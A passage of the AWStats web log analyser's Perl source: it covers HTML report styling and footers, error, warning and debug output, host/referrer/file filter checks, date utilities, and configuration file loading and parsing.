#$color_TableBG; padding: 1px 1px " . ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ? "2px" : "1px" ) . " 1px; margin-top: 0px; margin-bottom: 0px; }\n"; print ".aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n"; print ".aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n"; print <<EOF; .aws_data { background-color: #$color_Background; border-top-width: 1px; border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; } .aws_formfield { font: 13px verdana, arial, helvetica; } .aws_button { font-family: arial,verdana,helvetica, sans-serif; font-size: 12px; border: 1px solid #ccd7e0; background-image : url($DirIcons/other/button.gif); } th { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; } th.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; } td { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; } td.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;} td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; } b { font-weight: bold; } a { font: 11px verdana, arial, helvetica, sans-serif; } a:link { color: #$color_link; text-decoration: none; } a:visited { color: #$color_link; text-decoration: none; } a:hover { color: #$color_hover; text-decoration: underline; } .currentday { font-weight: bold; } EOF } # Call to plugins' function AddHTMLStyles foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } ) { my $function = "AddHTMLStyles_$pluginname"; &$function(); } print "</style>\n"; } # les scripts necessaires pour trier avec Tablekit # print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>"; # print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>"; # print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>"; # Call to plugins' function AddHTMLHeader foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLHeader'} } ) { my $function = "AddHTMLHeader_$pluginname"; &$function(); } print "</head>\n\n"; if ( $FrameName ne 'index' ) { print "<body style=\"margin-top: 0px\""; if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; } print ">\n"; } } $HeaderHTMLSent++; } #------------------------------------------------------------------------------ # Function: Write on output end of HTML page # Parameters: 0|1 (0=no list plugins,1=list plugins) # Input: %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat # Output: None # Return: None #------------------------------------------------------------------------------ sub html_end { my $listplugins = shift || 0; if ( scalar keys %HTMLOutput ) { # Call to plugins' function AddHTMLBodyFooter foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } ) { # my $function="AddHTMLBodyFooter_$pluginname()"; # eval("$function"); my $function = "AddHTMLBodyFooter_$pluginname"; &$function(); } if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) { print "$Center<br /><br />\n"; print "<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">"; print "<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://www.awstats.org\" target=\"awstatshome\">"; print $Message[169] . " $PROG"; if ($listplugins) { my $atleastoneplugin = 0; foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) { if ( !$atleastoneplugin ) { $atleastoneplugin = 1; print " ($Message[170]: "; } else { print ", "; } print "$pluginname"; } if ($atleastoneplugin) { print ")"; } } print "</a></span><br />\n"; if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; } } print "\n"; if ( $FrameName ne 'index' ) { if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) { print "<br />\n"; } print "</body>\n"; } print "</html>\n"; # print "\n"; } } #------------------------------------------------------------------------------ # Function: Print on stdout tab header of a chart # Parameters: $title $tooltipnb [$width percentage of chart title] # Input: None # Output: None # Return: None #------------------------------------------------------------------------------ sub tab_head { my $title = shift; my $tooltipnb = shift; my $width = shift || 70; my $class = shift; # Call to plugins' function TabHeadHTML my $extra_head_html = ''; foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) { my $function = "TabHeadHTML_$pluginname"; $extra_head_html .= &$function($title); } if ( $width == 70 && $QueryString =~ /buildpdf/i ) { print "<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n"; } else { print "<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; } if ($tooltipnb) { print "<tr><td class=\"aws_title\" width=\"$width%\"" . Tooltip( $tooltipnb, $tooltipnb ) . ">$title " . $extra_head_html . "</td>"; } else { print "<tr><td class=\"aws_title\" width=\"$width%\">$title " . $extra_head_html . "</td>"; } print "<td class=\"aws_blank\"> </td></tr>\n"; print "<tr><td colspan=\"2\">\n"; if ( $width == 70 && $QueryString =~ /buildpdf/i ) { print "<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n"; } else { print "<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; } } #------------------------------------------------------------------------------ # Function: Print on stdout tab ender of a chart # Parameters: None # Input: None # Output: None # Return: None #------------------------------------------------------------------------------ sub tab_end { my $string = shift; print "</table></td></tr></table>"; if ($string) { print "<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n"; } print "<br />\n\n"; } #------------------------------------------------------------------------------ # Function: Write error message and exit # Parameters: $message $secondmessage $thirdmessage $donotshowsetupinfo # Input: $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat # Output: None # Return: None #------------------------------------------------------------------------------ sub error { my $message = shift || ''; if ( scalar keys %HTMLOutput ) { $message =~ s/\</</g; $message =~ s/\>/>/g; } my $secondmessage = shift || ''; my $thirdmessage = shift || ''; my $donotshowsetupinfo = shift || 0; if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); } if ( !$HeaderHTMLSent && scalar keys %HTMLOutput ) { print "<html><body>\n"; $HeaderHTMLSent = 1; } if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); } my $tagbold = ''; my $tagunbold = ''; my $tagbr = ''; my $tagfontred = ''; my $tagfontgrey = ''; my $tagunfont = ''; if ( scalar keys %HTMLOutput ) { $tagbold = '<b>'; $tagunbold = '</b>'; $tagbr = '<br />'; $tagfontred = '<span style="color: #880000">'; $tagfontgrey = '<span style="color: #888888">'; $tagunfont = '</span>'; } if ( !$ErrorMessages && $message =~ /^Format error$/i ) { # Files seems to have bad format if ( scalar keys %HTMLOutput ) { print "<br /><br />\n"; } if ( $message !~ $LogSeparator ) { # Bad LogSeparator parameter print "${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n"; } else { # Bad LogFormat parameter print "AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n"; print "${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n"; print "Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n"; print "${tagbold}$LogFormat${tagunbold}${tagbr}\n"; print "This means each line in your web server log file need to have "; if ( $LogFormat == 1 ) { print "${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n"; print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); print "111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n"; print( scalar keys %HTMLOutput ? "</i>$tagunfont${tagbr}${tagbr}\n" : "" ); } if ( $LogFormat == 2 ) { print "${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n"; print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); print "date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n"; print( scalar keys %HTMLOutput ? "</i>$tagunfont${tagbr}${tagbr}\n" : "" ); } if ( $LogFormat == 3 ) { print "${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n"; } if ( $LogFormat == 4 ) { print "${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n"; print( scalar keys %HTMLOutput ? "$tagfontgrey<i><pre>" : "" ); print "111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n"; print( scalar keys %HTMLOutput ? "</pre></i>$tagunfont${tagbr}${tagbr}\n" : "" ); } if ( $LogFormat == 6 ) { print "${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n"; print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); print "111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n"; print( scalar keys %HTMLOutput ? "</i></span>${tagbr}${tagbr}\n" : "" ); } if ( $LogFormat !~ /^[1-6]$/ ) { print "the following personalized log format:${tagbr}\n"; print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); print "$LogFormat\n"; print( scalar keys %HTMLOutput ? "</i>$tagunfont${tagbr}${tagbr}\n" : "" ); } print "And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n"; print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" ); print "$secondmessage"; print( scalar keys %HTMLOutput ? "</i>$tagunfont${tagbr}${tagbr}" : "" ); print "\n"; } #print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of "; #print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n"; #print "\n"; } else { print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" ); print( $ErrorMessages? "$ErrorMessages" : "Error: $message" ); print( scalar keys %HTMLOutput ? "\n</span><br />" : "" ); print "\n"; } if ( !$ErrorMessages && !$donotshowsetupinfo ) { if ( $message =~ /Couldn.t open config file/i ) { my $dir = $DIR; if ( $dir =~ /^\./ ) { $dir .= '/../..'; } else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; } print "${tagbr}\n"; if ( $ENV{'GATEWAY_INTERFACE'} ) { print "- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n"; print "Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n"; print "Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n"; } else { print "- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n"; print "Example: If your config file is awstats.mysite.conf, use -config=mysite\n"; } print "- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n"; print "If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n"; print "${tagbr}\n"; } else { print "${tagbr}${tagbold}Setup (" . ( $FileConfig ? "'" . $FileConfig . "'" : "Config" ) . " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n"; } print "Check config file, permissions and AWStats documentation (in 'docs' directory).\n"; } # Remove lock if not a lock message if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); } if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; } exit 1; } #------------------------------------------------------------------------------ # Function: Write a warning message # Parameters: $message # Input: $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput # Output: None # Return: None #------------------------------------------------------------------------------ sub warning { my $messagestring = shift; if ($Debug) { debug( "$messagestring", 1 ); } if ($WarningMessages) { if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); } if ( !$HeaderHTMLSent ) { html_head(); } if ( scalar keys %HTMLOutput ) { $messagestring =~ s/\n/\<br\>/g; print "$messagestring<br />\n"; } else { print "$messagestring\n"; } } } #------------------------------------------------------------------------------ # Function: Write debug message and exit # Parameters: $string $level # Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced # Output: None # Return: None #------------------------------------------------------------------------------ sub debug { my $level = $_[1] || 1; if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); } # To send the HTTP header and see debug if ( $level <= $DEBUGFORCED ) { my $debugstring = $_[0]; if ( !$DebugResetDone ) { open( DEBUGFORCEDFILE, "<debug.log" ); close DEBUGFORCEDFILE; chmod 0666, "debug.log"; $DebugResetDone = 1; } open( DEBUGFORCEDFILE, ">>debug.log" ); print DEBUGFORCEDFILE localtime(time) . " - $$ - DEBUG $level - $debugstring\n"; close DEBUGFORCEDFILE; } if ( $DebugMessages && $level <= $Debug ) { my $debugstring = $_[0]; if ( scalar keys %HTMLOutput ) { $debugstring =~ s/^ /   /; $debugstring .= "<br />"; } print localtime(time) . " - DEBUG $level - $debugstring\n"; } } #------------------------------------------------------------------------------ # Function: Optimize an array of precompiled regex by removing duplicate entries # Parameters: @Array notcasesensitive=0|1 # Input: None # Output: None # Return: None #------------------------------------------------------------------------------ sub OptimizeArray { my $array = shift; my @arrayunreg = map { UnCompileRegex($_) } @$array; my $notcasesensitive = shift; my $searchlist = 0; if ($Debug) { debug( "OptimizeArray (notcasesensitive=$notcasesensitive)", 4 ); } while ( $searchlist > -1 && @arrayunreg ) { my $elemtoremove = -1; OPTIMIZELOOP: foreach my $i ( $searchlist .. ( scalar @arrayunreg ) - 1 ) { # Search if $i elem is already treated by another elem foreach my $j ( 0 .. ( scalar @arrayunreg ) - 1 ) { if ( $i == $j ) { next; } my $parami = $notcasesensitive ? lc( $arrayunreg[$i] ) : $arrayunreg[$i]; my $paramj = $notcasesensitive ? lc( $arrayunreg[$j] ) : $arrayunreg[$j]; if ($Debug) { debug( " Compare $i ($parami) to $j ($paramj)", 4 ); } if ( index( $parami, $paramj ) > -1 ) { if ($Debug) { debug( " Elem $i ($arrayunreg[$i]) already treated with elem $j ($arrayunreg[$j])", 4 ); } $elemtoremove = $i; last OPTIMIZELOOP; } } } if ( $elemtoremove > -1 ) { if ($Debug) { debug( " Remove elem $elemtoremove - $arrayunreg[$elemtoremove]", 4 ); } splice @arrayunreg, $elemtoremove, 1; $searchlist = $elemtoremove; } else { $searchlist = -1; } } if ($notcasesensitive) { return map { qr/$_/i } @arrayunreg; } return map { qr/$_/ } @arrayunreg; } #------------------------------------------------------------------------------ # Function: Check if parameter is in SkipDNSLookupFor array # Parameters: ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub SkipDNSLookup { foreach (@SkipDNSLookupFor) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @SkipDNSLookupFor } #------------------------------------------------------------------------------ # Function: Check if parameter is in SkipHosts array # Parameters: host @SkipHosts (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub SkipHost { foreach (@SkipHosts) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @SkipHosts } #------------------------------------------------------------------------------ # Function: Check if parameter is in SkipReferrers array # Parameters: host @SkipReferrers (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub SkipReferrer { foreach (@SkipReferrers) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @SkipReferrers } #------------------------------------------------------------------------------ # Function: Check if parameter is in SkipUserAgents array # Parameters: useragent @SkipUserAgents (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub SkipUserAgent { foreach (@SkipUserAgents) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @SkipUserAgent } #------------------------------------------------------------------------------ # Function: Check if parameter is in SkipFiles array # Parameters: url @SkipFiles (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub SkipFile { foreach (@SkipFiles) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @SkipFiles } #------------------------------------------------------------------------------ # Function: Check if parameter is in OnlyHosts array # Parameters: host @OnlyHosts (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub OnlyHost { foreach (@OnlyHosts) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @OnlyHosts } #------------------------------------------------------------------------------ # Function: Check if parameter is in OnlyUsers array # Parameters: host @OnlyUsers (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub OnlyUser { foreach (@OnlyUsers) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @OnlyUsers } #------------------------------------------------------------------------------ # Function: Check if parameter is in OnlyUserAgents array # Parameters: useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub OnlyUserAgent { foreach (@OnlyUserAgents) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @OnlyUserAgents } #------------------------------------------------------------------------------ # Function: Check if parameter is in NotPageFiles array # Parameters: url @NotPageFiles (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub NotPageFile { foreach (@NotPageFiles) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @NotPageFiles } #------------------------------------------------------------------------------ # Function: Check if parameter is in OnlyFiles array # Parameters: url @OnlyFiles (a NOT case sensitive precompiled regex array) # Return: 0 Not found, 1 Found #------------------------------------------------------------------------------ sub OnlyFile { foreach (@OnlyFiles) { if ( $_[0] =~ /$_/ ) { return 1; } } 0; # Not in @OnlyFiles } #------------------------------------------------------------------------------ # Function: Return day of week of a day # Parameters: $day $month $year # Return: 0-6 #------------------------------------------------------------------------------ sub DayOfWeek { my ( $day, $month, $year ) = @_; if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); } if ( $month < 3 ) { $month += 10; $year--; } else { $month -= 2; } my $cent = sprintf( "%1i", ( $year / 100 ) ); my $y = ( $year % 100 ); my $dw = ( sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y + sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) - ( 2 * $cent ) ) % 7; $dw += 7 if ( $dw < 0 ); if ($Debug) { debug( " is $dw", 4 ); } return $dw; } #------------------------------------------------------------------------------ # Function: Return 1 if a date exists # Parameters: $day $month $year # Return: 1 if date exists else 0 #------------------------------------------------------------------------------ sub DateIsValid { my ( $day, $month, $year ) = @_; if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); } if ( $day < 1 ) { return 0; } if ( $day > 31 ) { return 0; } if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) { if ( $day > 30 ) { return 0; } } elsif ( $month == 2 ) { my $leapyear = ( $year % 4 == 0 ? 1 : 0 ); # A leap year every 4 years if ( $year % 100 == 0 && $year % 400 != 0 ) { $leapyear = 0; } # Except if year is 100x and not 400x if ( $day > ( 28 + $leapyear ) ) { return 0; } } return 1; } #------------------------------------------------------------------------------ # Function: Return string of visit duration # Parameters: $starttime $endtime # Input: None # Output: None # Return: A string from $SessionsRange[0..6] that identify the visit duration range #------------------------------------------------------------------------------ sub GetSessionRange { my $param1=shift; my $param2=shift; # skip unneeded calculations if its the same if ($param1 == $param2) { return $SessionsRange[0]; } my $starttime; my $endtime; eval { #safety to prevent Time::Local causing termination on invalid data #Ex: Second '84' out of range 0..59 at /xxx/awstats.pl if ($param1 =~ /$regdate/o) { $starttime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); } if ($param2 =~ /$regdate/o) { $endtime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); } }; my $delay = $endtime - $starttime; if ($Debug) { debug( "GetSessionRange $endtime - $starttime = $delay", 4 ); } if ( $delay <= 30 ) { return $SessionsRange[0]; } if ( $delay <= 120 ) { return $SessionsRange[1]; } if ( $delay <= 300 ) { return $SessionsRange[2]; } if ( $delay <= 900 ) { return $SessionsRange[3]; } if ( $delay <= 1800 ) { return $SessionsRange[4]; } if ( $delay <= 3600 ) { return $SessionsRange[5]; } return $SessionsRange[6]; } #------------------------------------------------------------------------------ # Function: Return string with just the extension of a file in the URL # Parameters: $regext, $url without query string # Input: None # Output: None # Return: A lowercase string with the name of the extension, e.g. "html" #------------------------------------------------------------------------------ sub Get_Extension{ my $extension; my $regext = shift; my $urlwithnoquery = shift; if ( $urlwithnoquery =~ /$regext/o || ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o ) ) { $extension = ( $LevelForFileTypesDetection >= 2 || $MimeHashLib{$1} ) ? lc($1) : 'Unknown'; } else { $extension = 'Unknown'; } return $extension; } #------------------------------------------------------------------------------ # Function: Returns just the file of the url # Parameters: - # Input: $url # Output: String with the file name # Return: - #------------------------------------------------------------------------------ sub Get_Filename{ my $temp = shift; my $idx = -1; # check for slash $idx = rindex($temp, "/"); if ($idx > -1){ $temp = substr($temp, $idx+1);} else{ $idx = rindex($temp, "\\"); if ($idx > -1){ $temp = substr($temp, $idx+1);} } return $temp; } #------------------------------------------------------------------------------ # Function: Compare two browsers version # Parameters: $a # Input: None # Output: None # Return: -1, 0, 1 #------------------------------------------------------------------------------ sub SortBrowsers { my $a_family = $a; my @a_ver = (); foreach my $family ( keys %BrowsersFamily ) { if ( $a =~ /^$family/i ) { $a =~ m/^(\D+)([\d\.]+)?$/; $a_family = $1; @a_ver = split( /\./, $2 ); } } my $b_family = $b; my @b_ver = (); foreach my $family ( keys %BrowsersFamily ) { if ( $b =~ /^$family/i ) { $b =~ m/^(\D+)([\d\.]+)?$/; $b_family = $1; @b_ver = split( /\./, $2 ); } } my $compare = 0; my $done = 0; $compare = $a_family cmp $b_family; if ( $compare != 0 ) { return $compare; } while ( !$done ) { my $a_num = shift @a_ver || 0; my $b_num = shift @b_ver || 0; $compare = $a_num <=> $b_num; if ( $compare != 0 || ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) ) { $done = 1; } } return $compare; } #------------------------------------------------------------------------------ # Function: Read config file # Parameters: None or configdir to scan # Input: $DIR $PROG $SiteConfig # Output: Global variables # Return: - #------------------------------------------------------------------------------ sub Read_Config { # Check config file in common possible directories : # Windows : "$DIR" (same dir than awstats.pl) # Standard, Mandrake and Debian package : "/etc/awstats" # Other possible directories : "/usr/local/etc/awstats", # FHS standard, Suse package : "/etc/opt/awstats" my $configdir = shift; my @PossibleConfigDir = ( "$DIR", "/etc/awstats", "/usr/local/etc/awstats", "/etc/opt/awstats" ); if ($configdir) { # Check if configdir is outside default values. my $outsidedefaultvalue=1; foreach (@PossibleConfigDir) { if ($_ eq $configdir) { $outsidedefaultvalue=0; last; } } # If from CGI, overwriting of configdir with a value that differs from a default value # is only possible if AWSTATS_ENABLE_CONFIG_DIR defined. # AWSTATS_ENABLE_CONFIG_DIR must contains dir allowed if ($ENV{'GATEWAY_INTERFACE'} && $outsidedefaultvalue) { if (! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"}) { error("Sorry, to allow overwriting of configdir parameter, from an AWStats CGI page, with a non default value, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to full path of allowed directory. For example, by adding the line 'SetEnv AWSTATS_ENABLE_CONFIG_DIR /mydirofconf' in your Apache config file or into a .htaccess file."); } else { if ($configdir !~ $ENV{"AWSTATS_ENABLE_CONFIG_DIR"}) { error("Sorry, using configdir parameter from an AWStats CGI page is possible only if parameter configdir is a directory defined into environment variable AWSTATS_ENABLE_CONFIG_DIR"); } } } @PossibleConfigDir = ("$configdir"); } # Open config file $FileConfig = $FileSuffix = ''; foreach (@PossibleConfigDir) { my $searchdir = $_; if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; } if ( -f $searchdir.$PROG.".".$SiteConfig.".conf" && open( CONFIG, "<$searchdir$PROG.$SiteConfig.conf" ) ) { $FileConfig = "$searchdir$PROG.$SiteConfig.conf"; $FileSuffix = ".$SiteConfig"; if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);} last; }else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.$SiteConfig.conf", 2);}} if ( -f $searchdir.$PROG.".conf" && open( CONFIG, "$searchdir$PROG.conf" ) ) { $FileConfig = "$searchdir$PROG.conf"; $FileSuffix = ''; if ($Debug){debug("Opened config: $searchdir$PROG.conf", 2);} last; }else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.conf", 2);}} # Added to open config if file name is passed to awstats if ( -f $searchdir.$SiteConfig && open( CONFIG, "$searchdir$SiteConfig" ) ) { $FileConfig = "$searchdir$SiteConfig"; $FileSuffix = ''; if ($Debug){debug("Opened config: $searchdir$SiteConfig", 2);} last; }else{if ($Debug){debug("Unable to open config file: $searchdir$SiteConfig", 2);}} } #CL - Added to open config if full path is passed to awstats # Disabled by LDR for security reason. # If we need to execute config into other dir #if ( !$FileConfig ) { # # my $SiteConfigBis = File::Spec->rel2abs($SiteConfig); # debug("Finally, try to open an absolute path : $SiteConfigBis", 2); # # if ( -f $SiteConfigBis && open(CONFIG, "$SiteConfigBis")) { # $FileConfig = "$SiteConfigBis"; # $FileSuffix = ''; # if ($Debug){debug("Opened config: $SiteConfigBis", 2);} # $SiteConfig=$SiteConfigBis; # } # else { # if ($Debug){debug("Unable to open config file: $SiteConfigBis", 2);} # } #} if ( !$FileConfig ) { if ($DEBUGFORCED || !$ENV{'GATEWAY_INTERFACE'}){ error( "Couldn't open config file \"$PROG.$SiteConfig.conf\", nor \"$PROG.conf\", nor \"$SiteConfig\" after searching in path \"" . join( ', ', @PossibleConfigDir ) . ", $SiteConfig\": $!" ); }else{error("Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\". Please read the documentation for directories where the configuration file should be located."); } } # Analyze config file content and close it &Parse_Config( *CONFIG, 1, $FileConfig ); close CONFIG; # If parameter NotPageList not found, init for backward compatibility if ( !$FoundNotPageList ) { %NotPageList = ( 'css' => 1, 'js' => 1, 'class' => 1, 'gif' => 1, 'jpg' => 1, 'jpeg' => 1, 'png' => 1, 'bmp' => 1, 'ico' => 1, 'swf' => 1 ); } # If parameter ValidHTTPCodes empty, init for backward compatibility if ( !scalar keys %ValidHTTPCodes ) { $ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1; } # If parameter ValidSMTPCodes empty, init for backward compatibility if ( !scalar keys %ValidSMTPCodes ) { $ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1; } # If parameter TrapInfosForHTTPErrorCodes empty, init to default if ( !scalar keys %TrapInfosForHTTPErrorCodes ) { $TrapInfosForHTTPErrorCodes{"404"} = 1; } } #------------------------------------------------------------------------------ # Function: Parse content of a config file # Parameters: opened file handle, depth level, file name # Input: - # Output: Global variables # Return: - #------------------------------------------------------------------------------ sub Parse_Config { my ($confighandle) = $_[0]; my $level = $_[1]; my $configFile = $_[2]; my $versionnum = 0; my $conflinenb = 0; if ( $level > 10 ) { error( "$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)." ); } while (<$confighandle>) { chomp $_; s/\r//; $conflinenb++; # Extract version from first line if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) { $versionnum = ( $1 * 1000 ) + $2; #if ($Debug) { debug(" Configure file version is $versionnum",1); } next; } if ( $_ =~ /^\s*$/ ) { next; } # Check includes if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ ) { # #include kept for backward compatibility my $includeFile = $1; # Expand __var__ by values while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) { my $var = $1; $includeFile =~ s/__${var}__/$ENV{$var}/g; } if ($Debug) { debug( "Found an include : $includeFile", 2 ); } if ( $includeFile !~ /^([a-zA-Z]:)?[\\\/]/ ) { # Correct relative include files if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) { $includeFile = "$1$includeFile"; } } if ( $level > 1 && $^V lt v5.6.0 ) { warning( "Warning: Perl versions before 5.6 cannot handle nested includes" ); next; } local( *CONFIG_INCLUDE ); # To avoid having parent file closed when include file is closed if ( open( CONFIG_INCLUDE, "<$includeFile" ) ) { &Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile ); close(CONFIG_INCLUDE); } else { error("Could not open include file: $includeFile"); } next; } # Remove comments if ( $_ =~ /^\s*#/ ) { next; } $_ =~ s/\s#.*$//; # Extract param and value my ( $param, $value ) = split( /=/, $_, 2 ); $param =~ s/^\s+//; $param =~ s/\s+$//; # If not a param=value, try with next line if ( !$param ) { warning( "Warning: Syntax error line 